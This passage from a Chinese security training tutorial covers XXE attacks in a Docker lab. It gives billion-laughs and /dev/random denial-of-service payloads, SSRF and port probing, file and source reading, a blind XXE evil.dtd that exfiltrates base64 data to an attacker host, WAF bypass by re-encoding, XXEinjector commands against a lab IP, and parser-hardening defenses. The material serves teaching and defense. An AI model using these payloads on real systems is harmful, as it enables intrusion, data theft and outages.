<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
通过实体递归引用,指数级膨胀内存,导致服务崩溃。
递归引用,lol实体具体还有“lol”字符串,然后一个lol2实体引用了10次lol实体,一个lol3实体引用了10次lol2实体,此时一个lol3实体就含有10^2个“lol”了,以此类推,lol9实体含有10^8个“lol”字符串,最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)。亦或者,如果目标是UNIX系统
4.3.4.2 UNIX 特殊文件 DoS
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<foo>&xxe;</foo>
读取 /dev/random 会导致阻塞或资源耗尽。
4.3.5 探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
<name>&xxe;</name>
</root>
端口有没有开放等待的时间和报错的内容是不同的
4.3.6 攻击内网网站(SSRF)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload">]>
<root>
<name>&xxe;</name>
</root>
逻辑与端口探测一致。
4.4 XXE-lab靶场演示(回显 / 无回显)
4.4.1 靶场部署
本地可以自己使用部署一个玩玩。
docker run -d -p 8080:80 --name xxe registry.cn-hangzhou.aliyuncs.com/eagleslab/security:xxelab
我已经部署完成,映射在了20006端口。
docker run -d -p 20006:80 --name xxe registry.cn-hangzhou.aliyuncs.com/eagleslab/security:xxelab
访问:
http://114.66.37.31:20006

内部平台的xxelab也是这个,可以开启尝试
4.4.2 抓包与漏洞点确认
尝试登录病抓包,发现登录功能使用 XML 方式传输数据,请求体示例:
<user>
<username>admin</username>
<password>admin</password>
</user>

4.4.3 漏洞代码审计
审计一下源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
核心危险点如下:
libxml_disable_entity_loader(false);
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
LIBXML_NOENT:展开实体LIBXML_DTDLOAD:允许加载外部 DTD ➡ 典型 XXE 漏洞
4.4.4 XXE 有回显利用
4.4.4.1 直接读取文件(file://)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
浏览器响应中直接回显 /etc/passwd 内容。

4.4.4.2 结合 php://filter 读取源码
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>

Base64 解码后可得到 doLogin.php 源码。

4.4.5 XXE 无回显利用
4.4.5.1 修改容器内代码(注释掉输出)
docker exec -it xxe1 bash
sed -i 's#echo $result;#// echo $result;#' /app/public/doLogin.php
exit
此时:
- 请求正常
- 无任何回显
- 原 payload 失效

4.4.5.2 Blind XXE(外带数据)
核心思路
当无回显时,将敏感数据通过 HTTP 请求发送到攻击机
4.4.5.3 攻击机准备
1. 在攻击机上创建 evil.dtd
mkdir -p /tmp/xxe
cd /tmp/xxe
vim evil.dtd
evil.dtd 内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.140.176.35:8000/?p=%file;'>">
2. 在攻击机上开启监听(HTTP Server)
cd /tmp/xxe
python3 -m http.server 8000
监听效果:
靶机请求
evil.dtd随后自动访问
http://192.140.176.35:8000/?p=BASE64_DATA
4.4.5.4 Blind XXE Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % dtd SYSTEM "http://192.140.176.35:8000/evil.dtd">
%dtd;
%payload;
%send;
]>
<user>
<username>admin</username>
<password>admin</password>
</user>
4.4.5.5 结果验证
在攻击机终端可以看到访问日志:
GET /?p=PD9waHAgLyogYXV0b3I6IGMwbnkxICov...
将 p= 后内容 Base64 解码,即可获得:
doLogin.php 源码

4.4.5.6 Blind XXE 执行流程
%dtd- 靶机请求攻击机上的
evil.dtd
- 靶机请求攻击机上的
%file- 靶机本地读取敏感文件
%send- 靶机主动向攻击机发送数据
- 攻击机日志中获取敏感信息
4.4.6 总结
- XXE 是否可利用,不取决于是否有回显
- 无回显场景:
- 必须使用 外部 DTD
- 必须存在 外带通道(HTTP / DNS)
php://filter是 Blind XXE 中最稳定的数据编码方式
取消注释
sed -i 's#// echo $result;#echo $result;#' /app/public/doLogin.php
4.7 XXE 绕过技巧
在实际渗透测试中,WAF 或安全防护经常会对 XML 实体进行过滤,但仍然存在多种绕过手段。
4.7.1 编码绕过
当关键字如 ENTITY、SYSTEM、file 被 WAF 过滤时,可以利用 XML 编码方式绕过:
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.utf16be.xml
- 将 UTF-8 编码的 XML 转为 UTF-16BE
- 许多 WAF 仅识别 UTF-8 中的关键字
- XML 解析器仍能正确处理 UTF-16 编码
4.7.2 文档中额外空格
部分 WAF 只扫描 XML 文档开头,或解析规则不严格:
- XML 允许在
或声明中插入任意数量的空格 - 例如:
<!DOCTYPE user [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
- 效果:通过增加空格或换行绕过简单的正则匹配
4.7.3 无效格式绕过
- 一些 WAF 不会读取外部链接或实体声明,只检查文档正文
- 如果文档包含指向未知实体的外部链接,解析器通常不会报错
- 攻击思路:将敏感资源放入
或外部实体中,绕过 WAF 检测
4.7.4 非标准或外来编码
XML 文件可以使用多种编码,而 WAF 往往只针对单一字符集配置规则:
- XML 编码示例:
- UTF-8(最常用)
- UTF-16(BE / LE)
- UTF-32(BE / LE / 2143 / 3412)
- EBCDIC
- 文档可带 BOM(Byte Order Mark)进一步混淆解析
- 利用非标准编码,可以绕过基于正则的 WAF 检测,同时解析器仍能正确处理
- 示例:
cat payload.xml | iconv -f utf-8 -t utf-32be > payload.utf32be.xml
- 注意:某些 XML 解析器(如 libxml2)对部分编码支持有限,例如不支持 UTF-32 BOM
4.8 XXE 工具 —— XXEinjector
- Ruby 编写
- 支持:
- 文件读取
- 端口扫描
- SSRF
- Expect 执行命令
- OOB 数据提取
(参数列表与使用示例原样保留,适合附录)
5. XXE 防御
5.1 禁用外部实体加载
PHP
libxml_disable_entity_loader(true);
Java
dbf.setExpandEntityReferences(false);
Python
XMLParser(resolve_entities=False)
5.2 输入过滤与策略控制
- 过滤关键字:
DOCTYPEENTITYSYSTEMPUBLIC
- 不允许 XML 中定义自定义 DTD
- 对 XML 内容进行白名单校验
6.XXE 工具 —— XXEinjector
XXEinjector 是一个自动化 XXE 利用框架,支持:
- 有回显 / 无回显(Blind XXE)
- OOB(HTTP / Gopher / FTP)
- 文件读取、目录枚举
- PHP filter、Java netdoc
- 端口枚举、二次请求等
项目地址:
https://github.com/enjoiz/XXEinjector
工具基于 Ruby,推荐在 Kali Linux 环境使用。
Windows安装Ruby:https://www.runoob.com/ruby/ruby-installation-windows.html
6.1 XXEinjector 的核心工作方式
一句话理解:
XXEinjector = 自动生成 XXE payload + 外带服务器 + 解析结果
它本质上做了三件事:
- 读取你提供的 原始 HTTP 请求模板
- 注入不同 XXE payload
- 通过 OOB(带外)通道 把数据回传给攻击机
6.2 工具参数
--host //必填项 – 用于建立反向链接的 IP 地址。 (--host=192.168.0.2)
--file //必填项 - 包含有效 HTTP 请求的 XML 文件。 (--file=/tmp/req.txt)
--path //必填项 -是否需要枚举目录 – 枚举路径。 (--path=/etc)
--brute //必填项 -是否需要爆破文件 - 爆破文件的路径。 (--brute=/tmp/brute.txt)
--logger //记录输出结果。
--rhost //远程主机 IP 或域名地址。 (--rhost=192.168.0.3)
--rport //远程主机的 TCP 端口信息。 (--rport=8080)
--phpfilter //在发送消息之前使用 PHP 过滤器对目标文件进行 Base64 编码。
--netdoc //使用 netdoc 协议。 (Java).
--enumports //枚举用于反向链接的未过滤端口。 (--enumports=21,22,80,443,445)
--hashes //窃取运行当前应用程序用户的 Windows 哈希。
--expect //使用 PHP expect 扩展执行任意系统命令。 (--expect=ls)
--upload //使用 Java jar 向临时目录上传文件。 (--upload=/tmp/upload.txt)
--xslt //XSLT 注入测试。
--ssl //使用 SSL 。
--proxy //使用代理。 (--proxy=127.0.0.1:8080)
--httpport //Set 自定义 HTTP 端口。 (--httpport=80)
--ftpport //设置自定义 FTP 端口。 (--ftpport=21)
--gopherport //设置自定义 gopher 端口。 (--gopherport=70)
--jarport //设置自定义文件上传端口。 (--jarport=1337)
--xsltport //设置自定义用于 XSLT 注入测试的端口。 (--xsltport=1337)
--test //该模式可用于测试请求的有效。
--urlencode //URL 编码,默认为 URI 。
--output //爆破攻击结果输出和日志信息。 (--output=/tmp/out.txt)
--timeout //设置接收文件 /目录内容的 Timeout 。(--timeout=20)
--contimeout //设置与服务器断开连接的,防止 DoS 出现。 (--contimeout=20)
--fast //跳过枚举询问,有可能出现结果假阳性。
--verbose //显示 verbose 信息。
6.3 针对 xxelab 靶场的工具利用
6.3.1 靶场环境
目标:
http://114.66.37.31:20006攻击机:
192.140.176.35
6.3.2 抓取并保存原始请求
用 Burp 抓到登录请求,保存为 req.txt:
POST /doLogin.php HTTP/1.1
Host: 114.66.37.31:20006
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
Origin: http://114.66.37.31:20006
Referer: http://114.66.37.31:20006/
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<user>
<username>XXEINJECT</username>
<password>admin</password>
</user>
6.3.3 测试请求是否可用
ruby XXEinjector.rb --file=req.txt --rhost=114.66.37.31 --rport=20006 --test
确认请求能正常发出,再继续。
6.3.4 有回显:读取 /etc/passwd
ruby XXEinjector.rb --file=req.txt --path=/etc/passwd --rhost=114.66.37.31 --rport=20006 --direct=UNIQUEMARK
实测有点问题,可以用无回显
6.3.5 无回显(Blind XXE):读取源码
在XXE无回显的情况下:
ruby XXEinjector.rb --file=req.txt --host=192.140.176.35 --oob=http --phpfilter --path=/etc/passwd --verbose
效果:
- XXEinjector 自动:
- 构造外部 DTD
- 使用
php://filter - 启动 HTTP listener
- 攻击机终端中直接看到 Base64 数据


6.3.6 枚举 /etc 目录(Blind XXE)
未验证
ruby XXEinjector.rb \
--file=req.txt \
--host=192.140.176.35 \
--rhost=114.66.37.31 \
--rport=20006 \
--oob=http \
--path=/etc
6.3.7 文件名爆破(Blind XXE)
未验证
ruby XXEinjector.rb \
--file=req.txt \
--host=192.140.176.35 \
--rhost=114.66.37.31 \
--rport=20006 \
--oob=http \
--brute=filenames.txt
filenames.txt 示例:
passwd
shadow
hosts
php.ini
7.XXE靶场实战
7.1 Pikachu
完成Pikachu中xxe关卡,读取敏感文件
7.2 xxelab
完成内部靶场xxelab,体验下如何构造dtd读取敏感文件
有云服务器的可以试下无回显
8. XXE 防御修复
XXE 漏洞的根因是 XML 解析器允许加载外部实体或自定义 DTD。 防御核心只有一句话:
禁止外部实体 + 禁止 DTD
8.1 使用安全的解析配置
8.1.1 PHP
libxml_disable_entity_loader(true);
禁止加载外部实体(PHP 8+ 默认已禁用)
8.1.2 Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setExpandEntityReferences(false);
禁止
和实体展开
8.1.3 Python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
etree.parse(xmlSource, parser)
禁止实体解析和网络请求
8.2 禁止用户自定义 DTD
拒绝包含以下关键字的 XML:
DOCTYPE <!ENTITY SYSTEM PUBLIC注意:只能作为辅助,不能单独依赖
8.3 设计层防御
- 不需要 XML → 使用 JSON
- 只解析必要字段
- 使用安全库(如
defusedxml)
8.4 总结
XXE 防御的本质是 不让解析器加载外部实体和 DTD,过滤关键字只能作为补充措施。